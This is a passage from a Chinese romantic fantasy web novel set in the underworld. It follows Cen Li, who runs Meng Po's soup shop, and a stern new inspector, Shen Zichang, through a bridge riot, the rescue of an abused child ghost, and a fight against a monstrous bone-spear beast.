《身在地府不得不从》
1. 奈河,奈何 一
“孟婆汤要补三百箱……”岑黎拎着垂到地上的衣摆,站在奈何桥上有一搭没一搭地划拉着眼前的虚空镜,“地狱犬的犬粮十五袋,香烛三箱……”
桥头的小鬼差正兢兢业业地给每个鬼分孟婆汤,看见她来了简直如释重负:“姐!你可算来了!旁边的督察盯了好久啦!”
她问哪有督察,一转头看见一位穿着墨色长袍、身形挺拔面容俊朗的男人站在孟婆店的屋檐下。
好帅!
她瞬间忘了有督察这回事,步步莲花地朝男人走过去,凑近些看这男人的五官更俊美。
虽然是薄情的长相,但看看这高挺的鼻梁,漂亮狭长的眼睛,连薄唇轻抿的样子都好看!
她清了清嗓子开口:“你好呀,你是要排队喝孟婆汤……”
男人将手伸出来,手背上亮出一道图案复杂的金纹,从手背游走到修长的手指后逐渐隐去。
是阴律司的标记。
岑黎暗骂一声忘了还有督察这回事,绝望地闭了闭眼睛,一副任人宰割的样子:“督察大人。”
男人清冷的声音传到岑黎耳朵里:“看来你已经知道我的职位,那我就不用再介绍了。今天是我第一天当值,我只是过来熟悉情况,你不用紧张。”
说完他转身要走,袖子却被岑黎拉住:“不是,大人,我只知道您是阴律司的,可您姓什么总该让我知道吧,我总不能见着您只喊大人,那是不是太不礼貌了?”
“我不在意,你做好本职工作即可。”男人抬手把自己的袖子从岑黎手心里抽出来,“而且你应该不太想在工作时间见到我。”
岑黎又伸手扯住他袖子一角,偷偷吸了一口气开始用尽浑身解数拍马屁:“您说什么呢,您这么英俊潇洒谁不想见到——”
男人修长的手指往空中一伸,指尖凭空出现了一张纸,上面赫然出现岑黎最不想看到的四个大字:处罚说明。
岑黎立刻松手,她干巴巴地笑两声:“那个、您慢走,我还忙就不送了。”
“等等。”在岑黎的注视下,男人指尖的处罚单上逐渐写满了字。
在处罚金额处更是用朱红色的笔标得清楚:两百年阳寿。
什么东西?!
岑黎咬牙从他手里抽走罚单,转身大步走进了店里。
男人的视线一直跟随至她进了店,他转身要走时握在手里的扇子上突然浮现了一个字,是崔判官找他。
阎罗王管辖范围内的鬼差,无论官职大小每隔一段时间都需要去殿上开朝会,但因好些鬼在地府待了太久没有时间观念,所以鬼差们的身上会挂一个小巧的铃铛模样的灵器,铃铛一响就是要去殿上。
只不过铃铛也分等级,阴律司的铃铛可以变换外形,当作自己趁手的工具,沈自珩的扇子就是变换之后的灵器。
他看着岑黎的身影消失在墙后,兀自轻笑着一勾手指,从街上钩来一个正在巡逻的小鬼差问:“孟婆管事一贯如此?”
“我、我不敢说,她会骂人……”小鬼差的衣服后领被沈自珩拎在手里,脚跟几乎离了地,他蹬了蹬腿,沈自珩纹丝不动。
沈自珩不动声色地将他又拎高了些。
小鬼差吓得紧紧闭上眼,视死如归地说:“她、她喜欢长得好看的人,不管男人女人都是,鬼也是,她会额外多看几眼,也就多看几眼,该灌汤还是灌……”
“灌?”沈自珩把他放下来。
但小鬼差似乎没感觉到脚已经踩到了地,依然闭着眼絮絮叨叨:“有的鬼很挑剔,孟婆汤苦了甜了都不喝,还会带着大家一起闹,一般这个时候岑黎大人就会给他灌下去。”
“你走吧。”
小鬼差听见这三个字才睁开眼,见沈自珩离自己已经有半米远,撒腿就跑。
“他就是新到任的督察?不是说他也在地府好多年了,怎么之前没见过?”岑黎朝着孟婆店的角落里说话。
“人家之前在鬼市也当过值,但你嫌鬼市远不想去啊,怎么,想追?”角落里传出一道女声,再仔细一看原是虚空镜传出的声音,孟婆正坐在家里沙发上追剧。
岑黎点点头又坚决地摇摇头:“不行,好看归好看,但是他开了两百年的罚单啊,两百年!惹不起我还躲不起吗。”
虚空镜那边的声音消失了,过了一会儿孟婆的声音伴随着拆包装袋的声音传过来:“我收到你的处罚通知了,理由是对鬼差出言不逊,你又戏弄鬼差了?
“什么叫又,最近几十年你见过帅的鬼差?等会儿,你吃什么呢?”岑黎一眯眼,这声音听着嘎嘣脆啊。
那头沉默了一阵:“那个……”
“薯片?”岑黎往虚空镜上一弹指,镜面上出现了孟婆盘腿坐在沙发上的画面,旁边卧着一只狗,不知道又是哪家地狱犬被她拐走了。
她凑近看了看孟婆手上的包装袋,光看颜色她就知道这是她买的那袋:“我买的薯片都被你吃完了!你给我留一点!”
孟婆动动手指关了监控:“知道了知道了,我再买点,你去忙吧拜拜。”
虚空镜没了声音,岑黎撇撇嘴。
世人都以为孟婆是个孤单清冷的老妇,其实她是个年轻貌美的女子,爱好吃和看电视剧,尤其爱吃膨化食品,她买回去一大袋零食没两天就被孟婆吃完了。
桥上仍然排着长队,缓慢地向前挪动着,一个穿破布的男人拿着孟婆汤犹豫着,被小鬼差催促:“快喝吧,前世一切都与你无关啦。”
男人看了看小鬼差,唉声叹气:“虽然我上辈子过得不怎么样,但还是有很多陌生人给我鼓励,我不舍得忘记他们。”
后面等着的大爷也跟着叹气:“我也是啊,我临走前听见老伴儿哭了,和她过了这么多年了也鲜少听她哭过,唉……”
“若是有缘,自会再见。”岑黎走过去,轻缓地开口,婉转的声音染上一层庄重的味道,衣摆上的银色暗纹也浮现出来,漾出一圈银色的光晕。
周围的小鬼差都朝她行礼,桥上的鬼
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问小鬼差这是孟婆吗,小鬼差摇摇头不说话,继续分发着孟婆汤。
“我不要!我不要过去!”一道凄厉的声音从不远处传来,桥上排队的鬼都有些躁动,趴在桥上看起热闹。
“干啥呢这是?”
“一看就是过奈河呢呗。”
“过奈河他喊啥?鬼又不怕淹死。”问话的鬼大哥摸着下巴上的胡子正百思不得其解,余光瞥见一道白色的身影,等他定睛看过去时那身影已经站在奈河边的渡船上了。
“你喊什么!声音那么大吵着我的客人了!”岑黎拎着衣摆站在船头,怒气冲冲地冲着岸上张牙舞爪的男人喊,那男人被吓了一跳,手臂还滑稽地举着,岑黎摇摇头问船夫,“他怎么了?”
船夫是个白胡子老者,捋着胡子说:“他看了三生石罢。”
这人第一世是个王爷,王妃的容貌才华样样出挑,世人都以为王爷与王妃琴瑟和鸣,但在王妃嫁入王府的半年后,王爷便又纳了侧妃与四房妾室,他与她们夜夜笙歌,将王妃抛之脑后,甚至在王妃自缢后也无任何悔意。
第二世他转世到一个工人家,父母早早过世,身边没有亲人朋友,娶妻之后妻子忍受不了他的懒惰和固执,带着他们刚满月的孩子离开了他,他喝醉后在浴室滑倒,头磕在了浴缸上。
那男人觉得苍天对自己不公,扑通一下跪在岸边苦苦哀嚎:“为什么这么对我!我是王爷!是王爷!我的王妃穿金戴银,每日侍弄花草,也没累着她,为什么到了这一世还要离开我!”
岑黎被他突如其来的哀嚎吓得手一抖,手里拎着的衣摆落在河水里,衣摆上的银纹亮起微弱的光又消失,奈河的河面上漾起微小的涟漪。伏在河底的怨灵探上来,被无形的屏障一挡又潜入深处去了。
“你还没认清自己的劣根,不管历经多少次轮回都是一样的结果,有机会的话好好想想该如何为人吧。”岑黎把湿了的衣摆拎起来,原本十分干净的衣摆正往下滴答着河水,还有几块碎骨头钩在衣服上。
她摘了碎骨头随手扔到男人面前一摊手,“但大概是没有机会了。赶紧下河去,别浪费时间。”
“这、这是什么?”男人往后躲了躲。
“骨头。”船夫撑着船桨指了指男人身后,“快上来吧,后面排着好长的队呢。”
男人吞了吞口水:“为什么、为什么会这样?我也会这样吗?”
船夫呵呵笑了:“不好说,你若是能在这儿放下执念,也许就不会被拖入河底,不被怨灵缠上就不会是这样了。”
他指了指那些骨头。
岑黎拧干了衣摆,一拍船夫的肩:“老王,我得回去了,你大概没见过那个新来的督察,他一来就给我开了张罚单!但是他很帅嘿嘿,如果能再见到,再开我罚单也不是不行……”
船夫不语,捋了捋胡子笑眯眯地看她。
岑黎突然觉得不对劲:“你在看什么呢?”
“老夫大概知道你说的那个督察了。”
2. 奈河,奈何 二
岑黎有些不满地瞪他:“你每日吓唬我还不够么?这么多年了你能不能改改!”
船夫不知什么时候掏出一根细长的白骨把玩着,这会儿他拿着白骨在她眼前左右晃,又用它指了指她身后。
她嫌弃地往后躲:“你这骨头揣了几百年也不洗,都有味……哎呀!”
岑黎忘了自己是站在船上,她往后退着突然觉得脚下踩空,等她反应过来自己要掉进河里的时候已经来不及了。
算了,最多就是感冒嘛,再不济就是被那些瞎了眼的怨灵咬上几口,咬就咬吧!她闭紧眼打算放弃挣扎,后背突然传来一阵温热,随即她便感觉到有一股力量将她往前推,她借着那力道向前扑了一个踉跄,重新站稳在船头。
“是哪位好心鬼救了我,谢谢恩人,谢谢谢谢。”岑黎双手合十转身寻找着恩人,眼前扑来一个黑影,那黑影紧贴着她也站在了船头,还传来一阵木头的香气。
黑影开口道:“岑黎,擅离职守,罚两百年。”
凭空显现的罚单又写上了字。
“你是不是对我有意见!”岑黎看清那黑影就是沈自珩,道谢的话被今天第二张罚单噎在喉咙里,“我怎么擅离职守了?奈河的事我难道管不得?”
沈自珩嘲讽地一拎嘴角:“我没说你管不得。”
岑黎气得想发疯,脸蛋通红地指着他:“那你为什么罚我擅离职守!又是两百年!我什么时候能上去!”
沈自珩不回答,抱着手臂朝奈何桥的方向一抬下巴。
桥上不知何时乱成一团。
好几个鬼撕打着,时不时飞出一条胳膊掉进奈河,河里的怨灵都浮了上来张大嘴等天上掉肉;一大桶加热过的孟婆汤被打翻在地,路过的地狱犬凑上去舔了几口,没走两步掉进了奈河里,又汪汪叫着地爬上岸抖着身子甩水;那个原本裹着破布的鬼身上的布也已经不翼而飞……
不,在他自己手上,他站在桥上像挥旗一样挥舞着那块破布,嘴里大喊着:“来抓我呀!来抓我呀!”
岑黎心想着完蛋了,将手里的衣摆往身后一甩,飞身往奈何桥去。
“众鬼听令,律法缚身;拒逆违命,法有常刑。”
一身白袍的岑黎站在奈何桥头的石兽首上,口中念咒,似是被金钟包裹的声音清澈悠扬地传开。
原本隐藏在衣服上的银纹尽数亮出,在奈何桥上空布成一张银色的咒网,被咒网笼罩住的所有鬼都呆立在原地,桥下河水里的怨灵也都潜回河底,不再探头。
沈自珩走下船,拿着扇子在地上跪着的男人肩头点了一下:“去吧。”
前世是酒鬼的男人不再吵闹,麻木地走上了那条看着崭新的木船。船夫摇起船桨,木船在河上摇曳着缓缓前行,男人还未抵达河中央便清醒过来,他抬头望向岸边时,脚下的船突然剧烈摇晃起来。
伴随着木头碎裂的声音,冰冷的河水漫过他脚边,船逐渐下沉,河里的怨灵迫不及待地将他裹进河里,连半分惨叫也没传出。
船夫不知何时回到了岸边,脚下仍是一条新木船,他撑着船桨喊:“下一个上船来,渡河喽——”
奈河边又回到井然有序的样子。
奈何桥上则是一片阒寂。
沈自珩走到桥头扶起了翻倒的大桶,桶里的孟婆汤洒得一干二净,岑黎跳下兽首看着空桶欲哭无泪:“啊……又要重新熬了。”
沈自珩轻轻展开扇子向地面一挥,洒在地上的孟婆汤立刻消失,他略有些迟疑地说:“我以为孟婆汤现在已经改进成便携装了。”
岑黎满意地望向桥上,众鬼已重新排好队,她收起咒网向孟婆店走去:“是便携装啊,但一般我们都会再加热一下,口感更好还不会有沉淀。”
沈自珩跟在她旁边不紧不慢地说了一句:“哦,预制汤。”
岑黎捏紧拳头,深呼吸好几次才将脱口而出的难听话咽下去:“请问您现在跟着我又是干什么呢?想亲自监督我有没有偷懒?”
他背手径直往孟婆店里走:“我是想帮你,看不出来吗?”
“看不出来。”岑黎面无表情地看着他背影挥了挥拳头。
沈自珩在店门停下脚步:“不要随意揣测别人。”
你又不是人。岑黎不屑地翻了个白眼。
孟婆店和人间的便利店差不多,货架上面摆放的多是鬼需要的东西,除了孟婆汤还有香烛、香灰、传讯灵器等等,也会有一些小鬼过来买地狱犬专用狗粮,价格不菲。
当然,孟婆店里还有人类的食品,鬼也是可以吃的,虽然鬼感觉不到饿或饱,但是可以尝出酸甜苦辣对他们来说也是一件幸事。
岑黎伸手从货架上拿了一板巧克力递过去,她觉着眼前这位大人不一定喜欢甜食,还专门挑了苦一些的巧克力:“大人,吃巧克力吗?”
“不吃,多谢。”沈自珩正在挽袖子,他今天穿的衣服是阴律司统制,袖口很大,他将衣袖往上折了几圈,没等他弯腰去搬摞在角落的孟婆汤,衣袖便又滑了下来盖住手背。
“我帮你。”岑黎用牙齿叼住巧克力包装,走到沈自珩身边看他,“伸手啊。”
他伸出手臂,目光跟随着她的动作,看她的葱白手指轻抚过他的衣袖,熟练地将袖子翻折至手肘处,随后她摸上自己的头发,从发间取下东西轻巧地别在他的袖口上。
“发夹?”
岑黎有些意外地抬头看了他一眼,叼着巧克力包装不清不楚地说了句什么,沈自珩轻皱着眉伸手从她唇边拿走那块巧克力:“你说什么?”
“我说没想到大人也懂这些女子的东西,生前和夫人的感情一定很好吧。”岑黎将他的两边袖子都用发夹别好,伸手想去拿巧克力,却被沈自珩躲开。
那块巧克力被他揣进口袋里:“不是说给我的吗?”
岑黎瞪大眼:“你不是不要吗?而且……”有口水。
她看着沈自珩的眼睛。
狐媚子!
两人把整箱整箱的孟婆汤往桥上搬,桥上排着队的众鬼还老老实实站在原地没动,沈自珩瞧见了其中一道白花花的身影,他走过去用扇子在那鬼的肩上点了一下,那破布像活了一样从疯鬼的手心里挣了出去,将他重新裹起来。
岑
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黎笑了一声:“你管他干嘛,他疯了一辈子也被关了一辈子,下来好不容易没人管了,随他去吧。”
“什么意思?”沈自珩从岑黎手上接过孟婆汤发给排队的众鬼。
刚刚耽误了时间,等着领孟婆汤的鬼魂已经从桥头排到桥下的街上,地府里渐渐昏暗下来。
“他是精神病患者,二十二岁住院治疗,到死一直都在医院里。大人,你看见他的手腕没有?”岑黎站到沈自珩旁边和他一起发孟婆汤。
“被人绑的。”他语气笃定。
“对。”岑黎说,“被人绑了这么多年,大概对他来说连衣服也是一种束缚了。”
沈自珩深深地看她一眼。
众鬼领完孟婆汤喝完便径直往前走,穿过长长的鬼巷去往轮回殿转入六道轮回,夜幕降临,地府中昏黄的灯一盏一盏亮起来,沈自珩墨色长袍上的金纹在夜色中亮起,幽幽地发着光。
一个小鬼站在岑黎面前伸着胳膊:“姐姐,我也要孟婆汤!”
这小鬼看身形只有五六岁,扎着两个小辫,身上穿着粉色衣裳,看着十分可爱。
岑黎递过孟婆汤:“给你,拿好啦,站在我旁边喝完再走哦。”她温柔地对小鬼笑着,看小鬼一步一步挪到她旁边来,捧着孟婆汤转过身去,岑黎刚想说什么,一低头却看见小鬼背后的骇人模样。
粉衣裳上血痕遍布,有几道极为瘆人,从小鬼的右肩蔓延至左腰,几乎贯穿了小小的背。小鬼转过身对岑黎笑:“我不疼了,姐姐,你别哭。”
阴律司的职责之一便是根据人生前善恶进行赏罚,沈自珩查看了这小鬼的生死簿,不过短短几行:狗儿,女,四岁零三月救下一只断腿流浪狗,积福一次,后受其父殴打至脏器破裂而死,享年五岁零十天。
“你叫狗儿?”沈自珩蹲下和那小鬼平视,“你知道自己死了吗?”
狗儿乖乖点头:“知道。”
沈自珩犹豫半晌,拉着小鬼的手问:“下一世你想要什么?我可以满足你一个愿望。”说完他朝桥上一瞥,排在小鬼后面身着华丽的女鬼和他对上眼。
那女鬼见了便嚷嚷起来:“我说,这位大人,您快点呀!”
眼见后面的鬼魂又有要躁动的迹象,站在旁边的岑黎连忙阻止:“勿要喧哗。”
女鬼捂住嘴,又小声地说:“大人啊,这孩子这么可怜,您快点让她去轮回呀,最好能投到一个好人家。”
沈自珩没作声,那女鬼走上前索性自己拿了孟婆汤,翘着兰花指对他说:“我有个姐妹的女儿快要生孩子了,她家有钱心善,还特别想要女儿,就投到她家好了,会把她当成小公主一样的呀!”
“他人轮回转世与你无关,喝了孟婆汤快些上路罢。”岑黎上前挡住狗儿对她说,女鬼哦了一声撇撇嘴作罢。
狗儿咬着手指想了想,扯着沈自珩的衣袖小声地问他:“大人,我可不可以不转世?我不想当人,也不想当别的东西。人会被爸爸打,小狗会被丢在路上,小猫会被拔毛,小草小花也会被烧,它们看着都好痛,但是我怕痛呀,所以我可不可以留在这里?”
3. 奈河,奈何 三
岑黎和沈自珩都一愣,“姐姐也怕痛,但是你真想留在这里吗?”岑黎轻轻摸着她的脸颊,又拽了拽她的小辫,她柔声细语地对狗儿说,“你要是留在这里,就不会有家人了。”
狗儿转转眼珠想了想,仍然坚定地摇头:“我本来也没有妈妈,妈妈生下我之后就死了,爸爸会打我,我不喜欢他。我没有家人也没关系的。”
躲在店里的小鬼差被抓来发孟婆汤,岑黎和沈自珩都蹲在狗儿旁边。
狗儿见他们迟迟没有回应,以为自己必须要转世轮回,她有些失望地低下头,又抬起脑袋冲他们甜甜地笑了笑。
她拿起孟婆汤打算喝完去轮回,旁边却伸出一只手把碗拿走了。
“也罢,也不是所有人在那地方都会快活的。”岑黎说,“我们想办法让你留下。”
她一把拽起沈自珩在他耳边问道:“大人,莲花台是不是缺个养花童?你问问崔判官狗儿能不能去?”
沈自珩嗯一声:“不用问,这事我便可以做主。狗儿你跟我走吧。”
他牵起狗儿往莲花台走,岑黎目送着他们,看见沈自珩突然抬手摸了摸耳朵。
小狗儿被牵着往莲花台走,她仰起脑袋问身旁这个高大的鬼差大人:“大人,莲花台是我们去过的那个莲花台吗?”
“对,你们下来之后要从莲花台过。”沈自珩拉着她的小手跨过台阶,他神色温和地俯身问她,“一会儿见到他们会害怕吗?”
“不怕。”小狗儿笑着摇摇头,“我可勇敢啦!”
他们从奈何桥往莲花台的方向走,与这一路上的鬼都是反向而行,不少好奇心重的鬼都盯着狗儿看,但一瞥见旁边冷若冰霜的沈自珩,便自觉地迅速散去了。
狗儿不仅身体瘦弱,连脸颊也消瘦,并不像普通人家的孩子那样有着圆润的脸蛋。
沈自珩轻轻捏了捏她的脸鼓励道:“好,你是勇敢的狗儿,一会儿见到他们也要勇敢地打招呼。”
“怎么打招呼呀?”
这个问题算是把他也难住了,他思来想去最后说:“你看着喊吧,左右都是比你大上不知多少岁的大人,喊什么都对。”
狗儿小小地惊呼一声,很快又用小手捂住嘴巴:“那我刚刚喊的姐姐呢?她也比我大很多吗?”
“嗯。”沈自珩看见莲花台前站着人便牵着狗儿过去,“大很多岁。”
“很多很多吗?”
“很多很多。”
“有多少?”狗儿咯咯笑着,小手堪堪握住他的手指顽皮地晃来晃去,路过的鬼差都瞪大眼睛。
见了鬼啦,沈大人笑得那么温柔哟!
地府翻修时,莲花台重新修建了一道垂花门,垂柱上勾画着形态各异的莲花,栩栩如生。
垂花门前一位身形瘦长的男人站立着,身着素色长袍,远远地看见他们后,他面色冷淡地朝沈自珩一拱手:“沈督察,来此有何事?”
地藏和其门下均不属于地府,即便是崔判官来也得恭敬些,沈自珩松开狗儿弯腰回礼:“大人,听闻莲花台缺个养花童,您看她能留下吗?”
狗儿从沈自珩宽大的衣袖后面探出脑袋,脆生生地喊了一句:“大人好!大人你叫什么呀?我叫狗儿!”
云原本想拒绝,听见狗儿的声音后他拨开沈自珩的袖子,蹲下拉着狗儿的小手晃来晃去:“哎呀,你好呀,我叫云。你愿意留下吗?”
“愿意愿意!”狗儿和云聊得开心,兴奋时头上的小辫也跟着晃。
云应该是十分喜欢狗儿,时不时捏捏她的小胳膊,还和她说起悄悄话:“我们莲花台有好多好漂亮的花花,每天都开哦,你喜不喜欢花呀?”
狗儿眼睛都亮了:“喜欢!花花漂亮!”她招招小手,趴在云的肩头问,“那我可以摘吗?”
“花摘下来就会谢,谢了就不鲜活,自然就不好看了。”云告诉小狗儿,小狗儿懵懂地点头。
“那还是开着好,不能摘呀。”
沈自珩看了看时间,和两人告别:“云大人,我不便进入莲花台,劳烦您替我转达对地藏的谢意,狗儿就留在这里拜托您和地藏照顾,阴律司还有公务,我这便要回了。”
云抱起狗儿朝他挥挥手:“你走吧,在我们这儿你放心,绝不会有谁敢欺负她。”
“大人,等我长大一些我会去找你和姐姐玩的!”
狗儿招手让他靠近些,又从自己的小辫上拽下一个蝴蝶结发饰,“这个是一个阿姨送给我的,我才用了一回,你帮我送给姐姐好不好?”
云颠了颠怀里的狗儿,笑着问她:“你还有什么跟沈大人说吗?我们要进去咯!”
狗儿听了立刻往前探了探,伸手抱住沈自珩的手臂欢快地说:“大人,我最喜欢你啦!”
“好,我记下了。”沈自珩笑着应下,同他们挥手告别。
地府中即便是白天,天气也并不明媚,莲花台则完全不同,如果站在垂花门外向上看便能看见莲花台上空总是罩着一层柔和的金光,进去之后更是明亮得让人惊叹。
狗儿被云抱在怀里,一边闲逛着莲花台一边听云给她讲这里的趣事。
“你看到角落那朵紫色莲花没有?那一朵迟迟不开,莲花台的大人们都对它没有办法,直到有一天夜晚,我巡殿时听到师兄跟它说话,求它开花。”
云想到那天的场景就笑得不可自抑,“他说求求你了快开花吧,其它花儿开过都要谢了,你却迟迟不开,怎么一朵花还能如此懒惰呢?”
狗儿听得津津有味,问他后来呢,云说:“第二天那朵花就开了,而且开得极好,一直到现在也没谢。”
莲花池里种满了各色莲花,形态也各不相同,虽说地府中没有季节更替,但对于植物来说也总是遵循着生长循环的规律,开过便谢,谢了再开。
只有那朵紫色莲花像是赌气似的,一直在角落里盛开着。
“那它以后还会谢吗?”狗儿问。
云摇摇头,及腰的黑发在身后随他的动作轻轻摆动:“这个问题谁也不知道。”
狗儿伸手去抓云的头发玩:“云,你的头发真漂亮!我以后也会有这么漂亮的头发吗?”
“会的,云一定帮你把头发养得比我的还好。”
“真的吗!我最喜欢云啦!”
“一会儿见到了地藏你是不是又要最喜欢地藏啦?”
“嘻嘻……”
莲花台的大门缓缓关闭,隔绝了外界呼啸的风声。
地府里的风每隔一阵就会肆虐一次,即便是微风也足以掀翻奈河上的船,更不用说狂风能将鬼市中的小店都连根拔起。
岑黎站在孟婆店内看着外面突然卷起的狂风,她一翻手对着虚空镜喊:“孟婆,孟婆!”
“怎么了?”孟婆打了个哈欠,听声音刚刚还在睡梦中。
“外面又起风了。”岑黎站在门口,目光穿过空旷的街道,巡街的小鬼差们都已经返回殿内。
孟婆哦一声,懒洋洋地问:
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“起风怎么了?难道你在担心沈大人?他有什么好担心的啊,一个阴律司的鬼差,你还怕他被大风刮跑了啊?”
岑黎对着虚空镜翻白眼:“虽然我是觉得他长得很不错,我也挺喜欢,但并不代表我有这么痴迷他好吗?”
“那你想说什么?”
“收衣服啊!”岑黎隔着虚空镜抓狂。
狂风依旧呼啸着,孟婆店的店门摇摇晃晃,看着像是要被吹倒,她急忙伸手去拉门时,外面突然伸出一只手将它往外拉开。
“岑黎,接着它!”沈自珩站在店外,用身体抵住险些被风吹得大开的门,他紧握着门把费力地将门打开一条缝隙,把一只巴掌大的地狱犬从门缝里塞了进去。
岑黎想把门推开得更大一些让他进来,却被沈自珩呵住:“关上!”
她把地狱犬安放在柜台上,又跑回门口贴着门缝喊:“你不进来吗!风越来越大了!”
正说着,外面忽然暗了下来,狂风像是攒起了实体,所过之处变得如同黑夜一般,她觉得奇怪,以前的风从不刮这么久,也不会这样猛烈。
沈自珩在外面抵住店门往远处看去,一座“小山”正往鬼市的方向移动,狂风经过,“小山”上的树都随之摇晃。
但很快他就看清那不是山,是一具壮如小山的凶兽,晃动的也不是山上的树,而是凶兽身上密密麻麻的刺。
早年在地府震荡时曾有许多兽从山中跑出来,其中好些称不上凶,大多胆小谨慎,躲藏起来并无作恶,少数被驯服用作坐骑,更凶险的则被囚禁于地狱深处作守门兽。
也有一些地狱兽逃脱,但对地府并无影响,各方鬼帝便下令不再追杀,除了骨矛兽。
眼前这个满身尖利骨刺,体型庞大如小山的兽正是地府寻找多年的骨矛兽,性格凶残,杂食,据说它还喜欢将物种身上的骨剔下后收集起来,装在自己身上。
他传讯给崔判官:“骨矛兽现世,如何处置?”
崔判官传来:“杀。已有鬼差前往鬼市,你一同前去。”
沈自珩取出他惯用的白玉扇放在掌心,随着他低声念诵,那白玉扇化作一柄银光闪闪的长枪,他身上的墨色长袍也变成了覆着金光的软铠甲。
“沈自珩!”岑黎在门里喊着,“你干什么去!那是什么!”
沈自珩朝门里望了一眼:“在这待着别跑!”说完他要走,岑黎在门里喊住他。
“你等等!”岑黎焦急又担忧地喊他,“你过来一点,靠近一点。”
她手中握着一个精巧的铃铛,手腕轻轻一抖,铃铛便发出了一声清脆的响声,沈自珩突然感到身体里多了一股力量。
“这是我的灵力,它没有任何攻击力,只能护住你心脉。”岑黎从门缝里递出一块布片,是她从内里衣摆撕下来的,“这上面有我的咒法你收着,虽然我不知道为什么但是我的咒法对一些灵物有威慑效果。”
沈自珩拿过布片贴身放好:“我知道了,你退到里面去,它要过来了!”
他已经闻到风中夹杂着的血腥味了。
地府的地面微微震动着,骨矛兽顺着魂魄的气息向鬼市去,那里的气息最为浓烈。
被岑黎放在柜台上的地狱犬浑身颤抖着瑟缩在角落里,岑黎走过去轻轻抚摸着它的脊背,地狱犬猛地蜷缩了身体,喉咙里挤出一声压抑的惊叫。
“嘘,不怕。”岑黎将它抱在怀里安慰着,外面的风声突然停止了,树也不再摇晃,突然一切都陷入了死寂。
4. 骨矛兽 一
地府中已经变成血红一片,鬼市的店铺碎成了木板,原本地上铺的金砖也被踩得粉碎。
岑黎倒吸了口气,闻到了空气中充斥着的血腥与烧灼后焦臭的气息,店里的货架轻微晃动着,架上的玻璃瓶罐互相碰撞,发出清脆的响声。
崔珏判官笔被他握在手中,向来平稳低沉的声音此刻有些颤抖:“记载中未写骨矛兽有何惧怕之物,只写它浑身尖刺,皮厚如盾。”
骨矛兽与他们仅仅相隔一条街,那凶兽正因找不到魂魄大发雷霆,身上的尖刺像箭雨一样投掷出去,将无处可躲的鬼差钉进地里,他们甚至来不及挣便被骨矛兽吸食了魂魄。
他和沈自珩躲藏在断墙边观察着足有三四层楼高的骨矛兽:“各方鬼帝都不在地府,地府中能对抗这凶兽的鬼差所剩无几,怕是杀不了它了……但也不能任它肆虐,自珩,你可有什么办法?”
沈自珩仔细观察着骨矛兽想寻出它的弱点,但正如记载那样,它不怕水火,不怕强光,连脖颈处的皮肉都十分厚实,普通利器很难刺穿。他沉吟半晌,低声说:“我先想法接近它。”
想杀体型如此巨大的凶兽,首先要接近它找出弱点,最好的视野无疑是高处。
但鬼市中大多是小型的方便移动的摊位,也有零星几处三四层高的店铺,都是木头搭建,连骨矛兽的擦身而过都难以承受。
能靠近骨矛兽并且能落脚,不那么容易被它撞散架,大概只有那一处镇妖塔。
沈自珩看向鬼市西北角的镇妖塔,思索着如何能避开骨矛兽到镇妖塔的高处去。
崔珏顺着他的目光看去。
“你要去镇妖塔?去了镇妖塔然后呢,你要如何关它进去?”一向冷静持重的崔珏急得声音变了调,他直起腰看了眼不远处的骨矛兽,又压低声音说,“就凭你这柄银枪?”
“大人,您可还记得这柄银枪是如何做成的?那也是凶兽。”
银枪周身散发出幽幽金光,崔珏看着银枪:“也是,我竟忘了。”
数十年前,阎罗坐在殿上,问站在殿中身着银色衣袍手持长枪的年轻人:“你手中那柄长枪看着不凡,是用什么做的?”
那年轻人答:“是大风的腿骨加以玄铁锻造而成。”
“是那凶兽大风?你如何能用大风的腿骨做这长枪,你将它擒住了?”阎罗略微往前倾身,“我想起来了,前阵子通传有鬼差将大风关入镇妖塔中,那鬼差可是你?”
年轻人躬身:“是我。”
沈自珩紧盯着骨矛兽的动向,轻声对崔珏说:“大人放心,我不是想将它关进镇妖塔。”
他看着那凶兽像拨弄树叶一般轻而易举地将房屋掀翻,又把屋中没被带走的地狱犬叼起来甩到天上再摔死。
“害人凶兽,必杀之。”他眼神凌厉地紧盯骨矛兽,手中紧握银枪,手腕一翻召出了枪身上刺眼的金色符文,向镇妖塔飞去。
镇妖塔的塔身刻满密密麻麻的符文,无数妖兽被囚禁其中,有些寿命较短的妖兽在镇妖塔内死去,它们的魂魄在死后便得以自由穿梭于镇妖塔内外,在地府中游荡,有时还会被鬼差拉去做苦力。
沈自珩站在镇妖塔的塔顶上,用枪尾猛地击向脚下的瓦片——镇妖塔第六层的角落里,蜷缩着身子正在休憩的大风抬起头,动了动翅膀。
“大风,你可听见?”
沈自珩轻声说着,枪身上的金纹忽然更亮了些,变得有些刺眼,一直看着此处的崔珏转过头去避开,忽地镇妖塔中传出一声清亮的啼叫。
他急急看去,沈自珩面前站着一只尖嘴、翼羽呈白色、尾部缀红翎的凶兽,即是大风。
他的长枪是以凶兽大风的腿骨,再加以玄铁锻造而成,如此灵器,应是能抵得住骨矛兽。
崔珏想着放下心来,耳畔传来一个焦急的女声:“崔判官,沈大人呢?”
骨矛兽离镇妖塔不过数十米远,萦绕在它周身的血雾遮挡住了大半塔身,只能勉强看见银枪的幽光。
岑黎语速飞快地说道:“大人,现在可有什么办法能对付那凶兽?地府中其他鬼差呢?只有沈大人吗?”
“他们……怎能如此……”崔珏四下看了看,他竟没注意到并没有其他鬼差前来相帮!他紧咬着牙,“其他鬼差来多少还能牵制住凶兽,能有几分胜算,现在……”
岑黎脸色惨白,见塔顶那金光的位置并没有发生变化,她握着衣角低声念咒:“沈大人,沈自珩,你可能听见?”
被大风吸引的骨矛兽正往镇妖塔走去,忽然它停下脚步往身后看了看,像有所忌惮似的站在原地不动了。
沈自珩见它停下不动,暗道正是个好机会:“大风,去!”
“沈大人,沈自珩,你可能听见?”他忽然听见了岑黎的声音。
“你在哪里?你是怎么做到和我这样传讯的?”沈自珩抬手捂着有些温热的胸口,“你小心别被它发现!”
岑黎衣袍上的咒文漂浮在她周围:“是我放于你身体中的那缕灵力,你现在有什么办法能杀了它?”
沈自珩苦笑一声,语调越发低沉:“我让大风去查探它身上的弱点,但……”他探身看去,大风竟只能在骨矛兽周围盘旋着,无法上前,“这凶兽没什么心智,只遵循着最原始的本能,大风根本近不了它的身,我也不知道有什么办法。”
“你听着,不管是什么凶兽,总是有弱点的,耳鼻口眼,大不了都试一下!”岑黎压着声音说,“你把我给你的布片拿出来,想办法放得离凶兽近一点,我布咒网试试。”
“好!”
